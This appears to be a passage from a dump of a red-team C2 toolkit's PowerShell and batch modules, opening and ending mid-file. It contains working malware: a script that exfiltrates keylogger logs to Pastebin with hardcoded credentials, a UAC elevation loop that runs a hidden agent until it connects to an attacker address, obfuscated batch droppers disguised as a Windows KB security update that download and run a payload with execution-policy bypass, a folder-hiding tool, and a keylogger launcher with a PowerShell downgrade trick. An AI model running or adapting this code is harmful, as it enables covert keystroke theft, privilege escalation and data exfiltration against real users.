and creates a new pastebin paste from it on the sellected account with
sellected time intervals (120 sec) a max of 20 times (20 pastes max)
.NOTES
PasteBin accepts the max of 20 pastes per day on 'free' accounts.
So -MaxPastes 'int' and -TimeOut 'int' must be careful calculated.
Eg: -maxpastes '20' -timeout '1' will reach 20 pastes in 20 sec
.Parameter FilePath
The filepath to send to pastebin
.Parameter PastebinUsername
PasteBin UserName to authenticate to
.Parameter PastebinPassword
PasteBin Password to authenticate to
.Parameter PastebinDeveloperKey
The pasteBin API key to authenticate with
.Parameter MaxPastes
The max number of pastes to create (max: 20)
.Parameter TimeOut
Create paste each xxx seconds (min: 120)
Remark: No time limmit if -maxpastes '1'
.EXAMPLE
PS C:\> Get-Help .\SendToPasteBin.ps1 -full
Access this cmdlet comment based help!
.EXAMPLE
PS C:\> .\SendToPasteBin.ps1 -FilePath "test.log" -PastebinUsername "r00t-3xp10it" -PastebinPassword "MyS3cr3TPassword"
Get the contents of -filepath 'string' and creates a new pastebin paste from it on the sellected pastebin account.
.EXAMPLE
PS C:\> .\SendToPasteBin.ps1 -FilePath "test.log" -timeout "120" -maxpastes "10" -PastebinUsername "r00t-3xp10it" -PastebinPassword "MyS3cr3TPassword"
Get the contents of -filepath 'string' and creates a new pastebin paste from it each 120 seconds a max of 10 pastes on the sellected pastebin account.
.INPUTS
None. You cannot pipe objects into SendToPasteBin.ps1
.OUTPUTS
* Out-PasteBin aux cmdlet
* Downloading Out-PasteBin cmdlet ..
+ Maxpastes_Counter : 1º paste
* Out-PasteBin cmdlet by BankSecurity
* PastebinDeveloperKey : 1ab4a1a4e39c94db4f653127a45e7159
+ PastebinUsername : r00t-3xp10it
+ PasteTitle : SKYNET_15_33_15
* PasteBin Url: https://pastebin.com/jVT6BKWL
* PasteBin accepts the max of 20 pastes per day.
+ Maxpastes_Counter : 2º paste
* Out-PasteBin cmdlet by BankSecurity
* PastebinDeveloperKey : 1ab4a1a4e39c94db4f653127a45e7159
+ PastebinUsername : r00t-3xp10it
+ PasteTitle : SKYNET_15_35_15
* PasteBin Url: https://pastebin.com/GiK9DASD
* PasteBin accepts the max of 20 pastes per day.
.LINK
https://github.com/r00t-3xp10it/meterpeter
https://github.com/r00t-3xp10it/redpill/blob/main/bin/Out-Pastebin.ps1
#>
#CmdLet Global variable declarations!
[CmdletBinding(PositionalBinding=$false)] param(
[string]$PastebinDeveloperKey='1ab4a1a4e39c94db4f653127a45e7159',
[string]$PastebinUsername="r00t-3xp10it",
[string]$PasteTitle="$Env:COMPUTERNAME",
[string]$FilePath="$Env:TMP\void.log",
[string]$PastebinPassword="s3cr3t",
[string]$Egg="False",
[int]$MaxPastes='1',
[int]$TimeOut='120'
)
$cmdletVersion = "v1.1.5"
$ErrorActionPreference = "SilentlyContinue"
#Disable Powershell Command Logging for current session.
Set-PSReadlineOption –HistorySaveStyle SaveNothing|Out-Null
$host.UI.RawUI.WindowTitle = "SendToPasteBin $cmdletVersion"
If($Egg -ieq "False")
{
write-host "`n* SendToPasteBin aux cmdlet" -ForegroundColor Green
}
## Limmit ranges
If($MaxPastes -gt 20)
{
## Max pastes allowed
[int]$MaxPastes = 10
}
## Min loop jump timeout
If($TimeOut -lt 120)
{
## No time limmit if 1 paste
If($MaxPastes -gt 1)
{
[int]$TimeOut = 120
}
}
For($i=0; $i -lt $MaxPastes; $i++)
{
Start-Sleep -Seconds $TimeOut ## Loop jump timeout
If(-not(Test-Path -Path "$Env:TMP\Out-Pastebin.ps1" -EA SilentlyContinue))
{
## Download Out-Pastebin cmdlet from my github repository
If($Egg -ieq "False"){write-host "* Downloading Out-PasteBin cmdlet .." -ForegroundColor Green}
iwr -uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Out-Pastebin.ps1" -OutFile "$Env:TMP\Out-Pastebin.ps1"|Unblock-File
}
If($Egg -ieq "False")
{
## Display OnScreen the loop counter!
write-host " + " -ForegroundColor DarkYellow -NoNewline
write-host "Maxpastes_Counter : " -NoNewline
write-host "${i}" -ForegroundColor Green -NoNewline
write-host "º paste"
}
## Make sure that -FilePath 'file' exists
If(Test-path -Path "$FilePath" -EA SilentlyContinue)
{
## Parse filepath data (@Meterpeter keylogger)
$ParseDatas = (Get-Content -Path "$FilePath")
echo $ParseDatas > "$Env:TMP\ParseData.log"
$rand = (Get-Date -Format 'HH:mm:ss') -replace ':','_'
Import-Module -Name "$Env:TMP\Out-PasteBin.ps1" -Force
Out-Pastebin -InputObject $(Get-Content -Path "$Env:TMP\ParseData.log") -PasteTitle "${PasteTitle}_${rand}" -ExpiresIn "1W" -Visibility "Private" -PastebinUsername "$PastebinUsername" -PastebinPassword "$PastebinPassword" -PastebinDeveloperKey "$PastebinDeveloperKey"
## Local Cleanup
Remove-Item -Path "$Env:TMP\parsedata.log" -Force
}
}
## Cleanup
Remove-Item -Path "$Env:TMP\parsedata.log" -Force
Remove-Item -Path "$Env:TMP\Out-PasteBin.ps1" -Force
If($Egg -ieq "True")
{
## Auto-Delete this cmdlet (@Meterpeter C2 internal function)
Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force
}
================================================
FILE: mimiRatz/SuperHidden.ps1
================================================
<#
.SYNOPSIS
Query\Create\Delete super hidden system folders
Author: @r00t-3xp10it
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: attrib {native}
Optional Dependencies: none
PS cmdlet Dev version: v1.2.18
.DESCRIPTION
This cmdlet allow users to Query\Create\Delete super hidden folders.
Super hidden folders contains 'Hidden, System' attributes set and it
does not show-up in explorer even if 'show hidden files' are activated.
.NOTES
This cmdlet allow users to search for 'hidden' or 'super hidden' directorys
in input location (recursive, non-recursive), creates 'super hidden' folder,
'hidde folder', 'un-hidde folder' and 'delete' super hidden directorys ..
Remark: Admin privileges required to create folders outside %userprofile%.
Remark: The -Recursive 'true' arg requires of an -Directory input by user.
.Parameter Action
Accepts arguments: query, hidden, visible, delete (default: query)
.Parameter Directory
The query\create\delete folder directory path (default: false)
.Parameter FolderName
The folder name to query\create\delete (default: false)
.Parameter Recursive
Search super hidden folders recursive? (default: false)
.Parameter Attributes
The directory attributes (default: Hidden, System)
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Query
Search for 'Hidden, System' folders on predefined locations
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Query -Directory $Env:TMP
Search for 'Hidden, System' folders on %TMP% location
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Query -Directory $Env:TMP -Recursive true
Search for 'Hidden, System' folders on %TMP% location 'recursive' (sub-folders)
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Query -Directory $Env:TMP -attributes Hidden
Search for folders with 'Hidden' attribute (not super Hidden, System) on %TMP%
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Query -Directory $Env:TMP -FolderName vault
Search for 'Hidden, System' folders on %TMP% location with the name of 'vault'
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Hidden -Directory $Env:TMP -FolderName vault
Create\Modify 'Hidden, System' folder on %TMP% location with the name of 'vault'
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Visible -Directory $Env:TMP -FolderName vault
Create\modify 'VISIBLE, System' folder on %TMP% location with the name of 'vault'
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Delete -Directory $Env:TMP -FolderName vault
Delete the super hidden 'Hidden, System' folder of %TMP% with the name of 'vault'
.EXAMPLE
PS C:\> .\SuperHidden.ps1 -Action Query -Directory $Env:TMP -Attributes "(Hidden|System)" -Recursive true
Search for 'Hidden' OR 'System' directorys on %TMP% location in 'recursive' mode (scan sub-folders)
.INPUTS
None. You cannot pipe objects into SuperHidden.ps1
.OUTPUTS
FullName CreationTime LastAccessTime Attributes
-------- ------------ -------------- ----------
C:\Users\pedro\AppData\Local\Temp\vault 15/11/2021 07:17:42 15/11/2021 07:20:44 Hidden, System, Directory
.LINK
https://github.com/r00t-3xp10it/meterpeter/releases/tag/v2.10.10
#>
#CmdLet Global variable declarations!
[CmdletBinding(PositionalBinding=$false)] param(
[string]$Attributes="Hidden, System",
[string]$FolderName="false",
[string]$Directory="false",
[string]$Recursive="false",
[string]$Action="Query"
)
$ErrorActionPreference = "SilentlyContinue"
#Disable Powershell Command Logging for current session.
Set-PSReadlineOption –HistorySaveStyle SaveNothing|Out-Null
$IsClientAdmin = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -Match "S-1-5-32-544")
If($Action -ieq "Query" -and $Directory -ieq "false")
{
If($Attributes -iMatch '^(Hidden)$')
{
Write-Host "Searching hidden folders in common locations .." -ForegroundColor Blue
}
ElseIf($Attributes -iMatch '^(Hidden, System)$')
{
Write-Host "Searching super hidden folders in common locations .." -ForegroundColor Blue
}
Else
{
Write-Host "Searching '$Attributes' folders in common locations .." -ForegroundColor Blue
}
}
Write-Host "`n"
#Build ramdom search output DataTable!
$supertable = New-Object System.Data.DataTable
$supertable.Columns.Add("Attributes ")|Out-Null
$supertable.Columns.Add("Length")|Out-Null
$supertable.Columns.Add("FullName")|Out-Null
$supertable.Columns.Add("LastAccessTime")|Out-Null
If($Action -ieq "Query")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Query for hidden folders with 'hidden, system' attributes set.
.NOTES
This function allow users to search for hidden folders on predefined locations
or accepts the absoluct path of the directory to query (not recursive), it also
accepts the '-FolderName' parameter to search for sellected directory existence.
Remark: The -Recursive 'true' argument requires of an -Directory input by user.
.OUTPUTS
Attributes Length FullName LastAccessTime
--------------- ------ -------- --------------
Hidden, System 0 C:\Program Files\Windows Sidebar 11/18/2021 09:32:55
Hidden, System 2 C:\Program Files (x86)\Windows Sidebar 11/18/2021 03:13:06
Hidden, System 61 C:\Users\pedro\AppData\Local\Temp\vault 11/18/2021 09:34:10
#>
If($Directory -ieq "false")
{
$CommonLocations = @(
"$Env:TMP",
"$Env:APPDATA",
"$Env:USERPROFILE",
"$Env:LOCALAPPDATA",
"$Env:PROGRAMFILES",
"${Env:PROGRAMFILES(X86)}",
"$Env:USERPROFILE\Desktop",
"$Env:USERPROFILE\Documents"
)
ForEach($Item in $CommonLocations)
{
#Search for hidden,system folders on predefined locations (random search)
$RawList = (Get-ChildItem -Path "$Item" -Force | Select-Object * | Where-Object {
$_.PSIsContainer -eq 'True' -and $_.Attributes -iMatch "$Attributes"
}).FullName
If($RawList)
{
ForEach($Entry in $RawList)
{
#Add each indevidual entry to database now.
$DirLength = (Get-ChildItem -Path "$Entry").Length
$LastAccessTime = (Get-ChildItem -Path "$Entry").LastAccessTime | Select-Object -Last 1
$supertable.Rows.Add("$Attributes","$DirLength","$Entry","$LastAccessTime")|Out-Null
}
}
}
#Display DataTable contents onscreen
$supertable | Format-Table -AutoSize | Out-String -Stream | Select-Object -Skip 1 | ForEach-Object {
$stringformat = If($_ -Match '^(Attributes)')
{
@{ 'ForegroundColor' = 'Green' }
}
Else
{
@{ 'ForegroundColor' = 'White' }
}
Write-Host @stringformat $_
}
}
ElseIf($Directory -ne "false")
{
If(-not(Test-Path -Path "$Directory" -EA SilentlyContinue))
{
#Making sure that the directory input exists before go any further..
Write-Host "error: not found: '$Directory'`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit SuperHidden
}
If($FolderName -ne "false")
{
If($Recursive -ieq "true")
{
#FolderName parameter user input recursive search function
$SHdb = Get-ChildItem -Path "$Directory" -Recurse -Force| Select-Object * |
Where-Object { $_.PSIsContainer -eq 'True' -and $_.Name -iMatch "$FolderName" -and
$_.Attributes -iMatch "$Attributes" -and $_.FullName -iNotMatch 'Packages'
} | Select-Object FullName,CreationTime,LastAccessTime,Attributes | Format-Table -AutoSize
}
Else
{
#FolderName parameter user input search function
$SHdb = Get-ChildItem -Path "$Directory" -Force| Select-Object * |
Where-Object { $_.PSIsContainer -eq 'True' -and $_.Name -iMatch "$FolderName" -and $_.Attributes -iMatch "$Attributes"
} | Select-Object FullName,CreationTime,LastAccessTime,Attributes | Format-Table -AutoSize
}
If(-not($SHdb))
{
Write-Host "Error: fail to match the search criteria.`n" -ForegroundColor Red -BackgroundColor Black
}
Else
{
echo $SHdb
}
}
Else
{
If($Recursive -ieq "true")
{
#Query for hidden,system folders in -Directory argument location
$SHdb = Get-ChildItem -Path "$Directory" -Recurse -Force | Select-Object * |
Where-Object { $_.PSIsContainer -eq 'True' -and $_.Attributes -Match "$Attributes" -and $_.FullName -iNotMatch 'Packages'
} | Select-Object FullName,CreationTime,LastAccessTime,Attributes | Format-Table -AutoSize
}
Else
{
#Query for hidden,system folders in -Directory argument location
$SHdb = Get-ChildItem -Path "$Directory" -Force | Select-Object * |
Where-Object { $_.PSIsContainer -eq 'True' -and $_.Attributes -iMatch "$Attributes"
} | Select-Object FullName,CreationTime,LastAccessTime,Attributes | Format-Table -AutoSize
}
If(-not($SHdb))
{
Write-Host "Error: fail to match the search criteria.`n" -ForegroundColor Red -BackgroundColor Black
}
Else
{
echo $SHdb
}
}
}
}
If($Action -ieq "Hidden")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Create one hidden,system folder on sellected location!
.NOTES
This function creates or modify the sellected folder attributes.
Admin privileges required to create folders outside userprofile tree.
#>
If($Directory -ieq "false")
{
$Directory = "$Env:TMP"
}
If($Directory -iMatch '^C:\\Windows' -or $Directory -iMatch '^C:\\Program Files')
{
If($IsClientAdmin -iMatch 'False')
{
#Making sure that the directory structure does not start with C:\Windows if we have UserLand privs!
Write-Host "Error: Admin privileges required to manipulate sellected directory.`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit @SuperHidden
}
}
If($FolderName -ieq "false"){$FolderName = "vault"}
If(-not(Test-Path -Path "$Directory\$FolderName" -EA SilentlyContinue))
{
#Make sure that the directory\folder exists
mkdir $Directory\$FolderName -Force|Out-Null
}
try{#hidde sellected folder
attrib +s +h $Directory\$FolderName
}catch{#Fail to modify sellected directory attributes
Write-Host "Error: fail to change directory attributes.`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit SuperHidden
}
#Search for hidden,system folder created\modified..
$SHdb = Get-ChildItem -Path "$Directory" -Force | Select-Object * |
Where-Object { $_.PSIsContainer -eq 'True' -and $_.Name -iMatch "$FolderName" -and $_.Attributes -iMatch 'Hidden, System'
} | Select-Object FullName,CreationTime,LastAccessTime,Attributes | Format-Table -AutoSize
If(-not($SHdb))
{
Write-Host "Error: fail to match the search criteria.`n" -ForegroundColor Red -BackgroundColor Black
}
Else
{
echo $SHdb
}
}
If($Action -ieq "Visible")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Create one VISIBLE,system folder on sellected location!
.NOTES
This function creates or modify the sellected folder attributes.
Admin privileges required to create folders outside userprofile tree.
#>
If($Directory -ieq "false")
{
$Directory = "$Env:TMP"
}
If($Directory -iMatch '^C:\\Windows' -or $Directory -iMatch '^C:\\Program Files')
{
If($IsClientAdmin -iMatch 'False')
{
#Making sure that the directory structure does not start with C:\Windows if we have UserLand privs!
Write-Host "Error: Admin privileges required to manipulate sellected directory.`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit @SuperHidden
}
}
If($FolderName -ieq "false"){$FolderName = "vault"}
If(-not(Test-Path -Path "$Directory\$FolderName" -EA SilentlyContinue))
{
#Make sure that the directory\folder exists
mkdir $Directory\$FolderName -Force|Out-Null
}
try{#UnHidde sellected folder
attrib -s -h $Directory\$FolderName
}catch{#Fail to modify sellected directory attributes
Write-Host "Error: fail to change directory attributes.`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit SuperHidden
}
#Search for VISIBLE,system folder created\modified..
$SHdb = Get-ChildItem -Path "$Directory" -Force | Select-Object * |
Where-Object { $_.PSIsContainer -eq 'True' -and $_.Name -iMatch "$FolderName"
} | Select-Object FullName,CreationTime,LastAccessTime,Attributes | Format-Table -AutoSize
If(-not($SHdb))
{
Write-Host "Error: fail to match the search criteria.`n" -ForegroundColor Red -BackgroundColor Black
}
Else
{
echo $SHdb
}
}
If($Action -ieq "Delete")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Delete one hidden,system folder on sellected location!
.NOTES
Admin privileges required to delete folders outside userprofile tree.
#>
If($FolderName -ieq "false")
{
#Make sure that the folder to delete exists
Write-Host "Error: The 'delete' function requires -FolderName input ..`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit SuperHidden
}
If($Directory -ieq "false")
{
#Make sure that the directory tree to delete exists
Write-Host "Error: The 'delete' function requires -Directory input ..`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit SuperHidden
}
If($Directory -iMatch '^C:\\Windows' -or $Directory -iMatch '^C:\\Program Files')
{
If($IsClientAdmin -iMatch 'False')
{
#Making sure that the directory structure does not start with C:\Windows if we have UserLand privs!
Write-Host "Error: Admin privileges required to manipulate sellected directory.`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit @SuperHidden
}
}
If(-not(Test-Path -Path "$Directory\$FolderName" -EA SilentlyContinue))
{
#Make sure that the directory\folder to delete exists
Write-Host "Error: not found '$Directory\$FolderName'`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit SuperHidden
}
try{#delete sellected folder
attrib -s -h $Directory\$FolderName
}catch{#Fail to change directory attributes
Write-Host "Error: fail to change directory attributes.`n" -ForegroundColor Red -BackgroundColor Black
exit #Exit SuperHidden
}
#Remove directory
Remove-Item -Path "$Directory\$FolderName" -Recurse -Force
If(-not(Test-Path -Path "$Directory\$FolderName" -EA SilentlyContinue))
{
Write-Host "Super hidden '$FolderName' folder deleted .."
}
Else
{
Write-Host "Error: fail to delete '$Directory\$FolderName' folder .."
}
#Display directory contents now
$SHdb = Get-ChildItem -Path "$Directory" -Force | Select-Object * |
Where-Object { $_.PSIsContainer -eq 'True' } |
Select-Object Length,Name,LastWriteTime | Format-Table -AutoSize
If(-not($SHdb))
{
Write-Host "none contents found inside current directory.`n" -ForegroundColor Yellow
}
Else
{
echo $SHdb
}
}
================================================
FILE: mimiRatz/UACeop.ps1
================================================
<#
.SYNOPSIS
UAC Auto-Elevate meterpeter client agent
Author: @r00t-3xp10it
Tested Under: Windows 10 (19044) x64 bits
Required Dependencies: none
Optional Dependencies: netstat
PS cmdlet Dev version: v1.0.8
.DESCRIPTION
Auxiliary module of Meterpeter v2.10.14 that allow users to
elevate current terminal session from user -> administrator
.NOTES
Warning: Target user will be prompt by UAC to run elevated.
Warning: cmdlet will exit execution if target declines to run
it with admin privileges by sellecting 'NO' button in UAC prompt
Warning: Parameter -attacker 'LHOST:LPORT' allows this cmdlet to
check for agent conection [loop] or abort cmdlet execution if any
connection from server <-> client is found active (breaking loop)
.Parameter Attacker
Attacker LHOST:LPORT (default: off)
.Parameter StartTime
Schedule execution to HH:mm (default: off)
.Parameter AgentPath
Agent (default: $Env:TMP\Update-KB5005101.ps1)
.Parameter AutoDel
Switch that auto-deletes this cmdlet in the end
.EXAMPLE
PS C:\> .\uaceop.ps1 -agentpath "$pwd\evil.ps1"
try to elevate evil.ps1 privileges only once
.EXAMPLE
PS C:\> .\uaceop.ps1 -attacker '192.168.1.66:666' -autodel
Loop agent execution until a connection its found active
.EXAMPLE
PS C:\> .\uaceop.ps1 -starttime '09:34' -attacker '192.168.1.66:666' -autodel
Schedule execution to HH:mm + loop agent execution until a connection its found active
.EXAMPLE
PS C:\> Start-Process -windowstyle hidden -argumentlist "-file uaceop.ps1 -starttime '09:34' -attacker '192.168.1.66:666' -autodel"
Hidden schedule execution of beacon to HH:mm + loop agent execution until a connection its found active + autodelete this cmdlet
.INPUTS
None. You cannot pipe objects into UacEop.ps1
.OUTPUTS
[*] Relaunch console as an elevated process!
[1] Executing meterpeter client [Comfirm]
[ ] Waiting connection from remote server ..
[2] Executing meterpeter client [Comfirm]
[-] Remote connection found, exit loop ..
.LINK
https://github.com/r00t-3xp10it/meterpeter
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$AgentPath="$Env:TMP\Update-KB5005101.ps1",
[string]$StartTime="off",
[string]$Attacker="off",
[switch]$AutoDel
)
## Global variable declarations
$ErrorActionPreference = "SilentlyContinue"
## Disable Powershell Command Logging for current session.
Set-PSReadlineOption –HistorySaveStyle SaveNothing|Out-Null
## Send Attacker settings to logfile its a mandatory step
# because the 2 time, cmdlet exec with default parameters
echo "Server: $Attacker" >> "$Env:TMP\Programdata.log"
echo "Client: $AgentPath" >> "$Env:TMP\Programdata.log"
if(-not($Attacker -match '^(off)$'))
{
## Make sure user inputed the correct lhost:lport format
# Regex translated to human 1 9 2 . 1 6 8 . ? . ? : ?
If(-not($Attacker -match '^(\d\d\d\.\d\d\d\.\d*\.)+[\d*]+:[\d*]+$'))
{
write-host "`n[x] Error: wrong LHOST:LPORT format input`n" -ForegroundColor Red
Remove-Item -Path "$Env:TMP\Programdata.log" -Force
Start-Sleep -Seconds 2
return
}
}
If($StartTime -Match '^(\d\d:\d\d)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Sleep for xx minutes function.
#>
write-host "[*] Schedule start at [" -NoNewline
write-host "$StartTime" -ForegroundColor Red -NoNewline
write-host "] hours."
For(;;)
{
## Compare $CurrentTime with $StartTime
$CurrentTime = (Get-Date -Format 'HH:mm')
If($CurrentTime -Match "^($StartTime)$")
{
break # Continue execution now
}
## loop each 10 seconds
Start-Sleep -Seconds 10
}
}
$Counter = 0 ## Set loop function counter to '0'
$Attacker = ((Get-Content -Path "$Env:TMP\Programdata.log"|findstr /C:"Server:"|Select-Object -First 1) -replace '^(Server: )','')
$AgentPath = ((Get-Content -Path "$Env:TMP\Programdata.log"|findstr /C:"Client:"|Select-Object -First 1) -replace '^(Client: )','')
$AdminRaw = "(£[S@ec£urit£y.P£r@inc£ipal.£Wi£nd@o£wsP£r@inc£ipal]£[S£e@cu£r@it£y.P£ri@n£ci@pa£l.W£i@nd£o@wsId@e£nti@ty]:£:G@e£tC£ur@re£n@t()).I@sI£nR@o£le@([£S£e@cu£ri@ty.P£ri@nc£ip@al.Wi£n@do£ws@Bu£il@tI£n@Ro£l@e]:£:A£d@mi£ni£s@tr£at@o£r)" -replace '(@|£)',''
$AdminCheck = $AdminRaw|&('XeX' -replace '^(X)','i')
If($AdminCheck -match '^(False)$')
{
$Namelless = "%R@u%nA@s%" -replace '(@|%)',''
write-host "[*] Relaunch console as an elevated process!"
Start-Process -WindowStyle Hidden powershell "-File",('"{0}"' -f $MyInvocation.MyCommand.Path) -Verb $Namelless
exit
}
If($Attacker -match '^(off)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Execute agent WITHOUT confirm if connection has recived
#>
write-host "[*] Executing meterpeter client [Once]"
Start-Process -WindowStyle Hidden powershell -ArgumentList "-file $AgentPath"
}
Else
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Execute agent and CONFIRM if connection has recived
.NOTES
Agent [Update-KB5005101.ps1] will beacon home from 10 to 10
seconds unless UACeop.ps1 its stoped or an active connection
its found from server <-> Client using netstat native command
#>
For(;;)
{
$Counter = $Counter + 1
write-host "[$Counter] Executing meterpeter client [Comfirm]"
Start-Process -WindowStyle Hidden powershell -ArgumentList "-file $AgentPath"
Start-Sleep -Seconds 10 ## Give extra time for agent to beacon home
$CheckAgentConnection = (netstat -ano|findstr /C:"ESTABLISHED"|findstr /C:"$Attacker")
If($CheckAgentConnection -match "$Attacker")
{
write-host "[-] Remote connection found, exit loop ..`n"
break # Connection found, exit loop
}
Else
{
write-host "[ ] Waiting connection from remote server .." -ForegroundColor Yellow
}
}
}
If($AutoDel.IsPresent)
{
## Auto-Delete cmdlet in the end ...
Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force
}
Start-Sleep -Seconds 2
Remove-Item -Path "$Env:TMP\Programdata.log" -Force
exit
================================================
FILE: mimiRatz/Update-FileLess.bat
================================================
@echo off
( ,;(=i%@Socket():%f ,no%n_UDP%t ^DE%DB_#1%FIN^ED ,%@k%IS_%Buffer_%MINI%#1%MI%'i'%ZE^D ;se%#0_%t ^IS_MIN^IM%#1_%IZ^ED=1 && @st^a%db%rt "" ^/m%_#1%i^n "%~dpnx0" %* && e%GUID%x^it); ),
,Col%ls%or 0E && (,(@tIt%&1%lE ^Cumu%_UUID_%l^ati%#1%v^e Sec%#1%u^ri%_i_%ty Up^dat%'%e KB%Buffer_%5005101 && @Pow%#1%E^rsH^el%Socket():%l Ge^t-Hot%vibes%Fi^x),)
@cm%Buff#1%d ^/R Ec^h%i0%O A|Pow^er%_GUID_%sh^elL Set-Exec^UtI%'B%onPo^lI%send(i)%cY Unr%db%e^stric^t%OFF%ed -Sc%_i0%o^pe Cur%_%r^ent%LANG%Us^er
@Cd %tmp% && Meterpeter_Fileless_CmdLine
del "%~f0"
================================================
FILE: mimiRatz/Update-KB5005101.bat
================================================
@echo off
( ,;(=i%@Socket():%f ,no%n_UDP%t ^DE%DB_#1%FIN^ED ,%@k%IS_%Buffer_%MINI%#1%MI%'i'%ZE^D ;se%#0_%t ^IS_MIN^IM%#1_%IZ^ED=1 && @st^a%db%rt "" ^/m%_#1%i^n "%~dpnx0" %* && e%GUID%x^it); ),
,Col%ls%or 0E && (,(@tIt%&1%lE ^Cumu%_UUID_%l^ati%#1%v^e Sec%#1%u^ri%_i_%ty Up^dat%'%e KB%Buffer_%5005101 && @Pow%#1%E^rsH^el%Socket():%l Ge^t-Hot%vibes%Fi^x),)
@cm%Buff#1%d ^/R Ec^h%i0%O A|Pow^er%_GUID_%sh^elL Set-Exec^UtI%'B%onPo^lI%send(i)%cY Unr%db%e^stric^t%OFF%ed -Sc%_i0%o^pe Cur%_%r^ent%LANG%Us^er
@powershell iwr -Uri "ht%i0%tp://CharlieBrown/Update-KB50%i0_%05101.ps1" -OutFile "%tmp%\Update-KB50%i0_%05101.ps1"
@Cd %tmp% && ,pOw%_Socket(i)_%eR^sH%_i_%El^L -ExeC^ut%'b%I^oN ByP%\x0a%a^Ss -Win%_#1%dOw^stY^le hI%i0%d^Den -NoP%_i%r^Ofi%stuff%Le -Fi%Nall%l^E %tmp%\Update-KB50%i0_%05101.ps1
del "%~f0"
================================================
FILE: mimiRatz/keymanager.ps1
================================================
[CmdletBinding(PositionalBinding=$false)] param(
[string]$Action="start",
[string]$UsePS2="false"
)
#Global variable declarations
$ErrorActionPreference = "SilentlyContinue"
IF($Action -ieq "start")
{
If(-not(Test-Path -Path "$Env:TMP\mscore.ps1"))
{
#Download cmdlet from my github repository
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/mscore.ps1" -OutFile "$Env:TMP\mscore.ps1"|Unblock-File
}
If($UsePS2 -ieq "true")
{
$TryThisInsted = "#pow#e@rsh#e@ll -@ve#r@sio@n @2# -@C# ech@o ps2v@er#si@onfo@un#d|O@ut-@File# $Env:TMP\downgradeatt.log -Fo@rc@e" -replace '(@|#)',''
"$TryThisInsted"|&('SEX' -replace 'S','i')
$TestDowngradeAtt = Get-Content -Path "$Env:TMP\downgradeatt.log"|Select-String "ps2versionfound"
Remove-Item -Path "$Env:TMP\downgradeatt.log" -Force
If($TestDowngradeAtt -iMatch '^(ps2versionfound)$')
{
$rrr = "-version"
#Use powershell $rrr 2 to execute keylogger
$cmdlineToExec = "powershell $rrr 2 -C Import-Module -Name `$Env:TMP\mscore.ps1 -Force"
}
Else
{
#Defaul keylogger execution function
$cmdlineToExec = "Import-Module -Name `$Env:TMP\mscore.ps1 -Force"
}
}
Else
{
#Defaul keylogger execution function
$cmdlineToExec = "Import-Module -Name `$Env:TMP\mscore.ps1 -Force"
}
If(Test-Path -Path "$Env:TMP\mscore.ps1")
{
#Start keylogger process in background
Start-Process -WindowStyle Hidden powershell -ArgumentList "$cmdlineToExec"
If($?)
{
Start-Sleep -Milliseconds 600 #Give some time for log creation
$PPID = (Get-Content "$Env:TMP\pid.log" | Where-Object { $_ -ne '' })
write-host "`n * Key-logger process started with ID: $PPID" -ForegroundColor Green
}
Else
{
write-host "`n x Error: fail to start Key-logger background process .." -ForegroundColor Red -BackgroundColor Black
}
}
Else
{
write-host "`n x Error: '$Env:TMP\mscore.ps1' missing.." -ForegroundColor Red -BackgroundColor Black
}
}
IF($Action -ieq "stop")
{
If(Test-Path -Path "$Env:TMP\pid.log")
{
#Get key-logger PPID from logfile
$PPID = Get-Content "$Env:TMP\pid.log" | Where-Object { $_ -ne '' }
#Stop key-logger process by is PPID
Stop-Process -Id $PPID -Force
If($?)
{
write-host "`n* Key-logger process '$PPID' stoped." -ForegroundColor Green
}
Else
{
write-host "`nx Error: fail to stop Key-logger process id: '$PPID'" -ForegroundColor Red -BackgroundColor Black
}
}
Else
{
write-host "`nx Error: fail to retrieve key-logger process ID" -ForegroundColor Red -BackgroundColor Black
}
#Get the KeyStrokes
write-host "`nKeylogger Key-strokes Capture" -ForegroundColor Yellow
write-host "----------------------------"
If(Test-Path -Path "$Env:TMP\void.log")
{
Get-Content -Path "$Env:TMP\void.log"
}
Else
{
write-host "x Error: '$Env:TMP\void.log' missing" -ForegroundColor Red -BackgroundColor Black
}
#Clean all artifacts left behind
Remove-Item -Path "$Env:TMP\mscore.ps1" -Force
Remove-Item -Path "$Env:TMP\void.log" -Force
Remove-Item -Path "$Env:TMP\pid.log" -Force
}
================================================
FILE: mimiRatz/mscore.ps1
================================================
<#
.SYNOPSIS
Capture keyboad keystrokes
Author: @r00t-3xp10it (ssa redteam)
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: void.log, pid.log {auto-build}
Optional Dependencies: none
PS cmdlet Dev version: v1.0.2
.DESCRIPTION
Aux module of Meterpeter C2 to capture keystrokes
.NOTES
Keylogger process will run until CTRL+C its pressed.
.EXAMPLE
PS C:\> Import-Module .\mscore.ps1 -Force
Capture keystrokes until CTRL+C its pressed
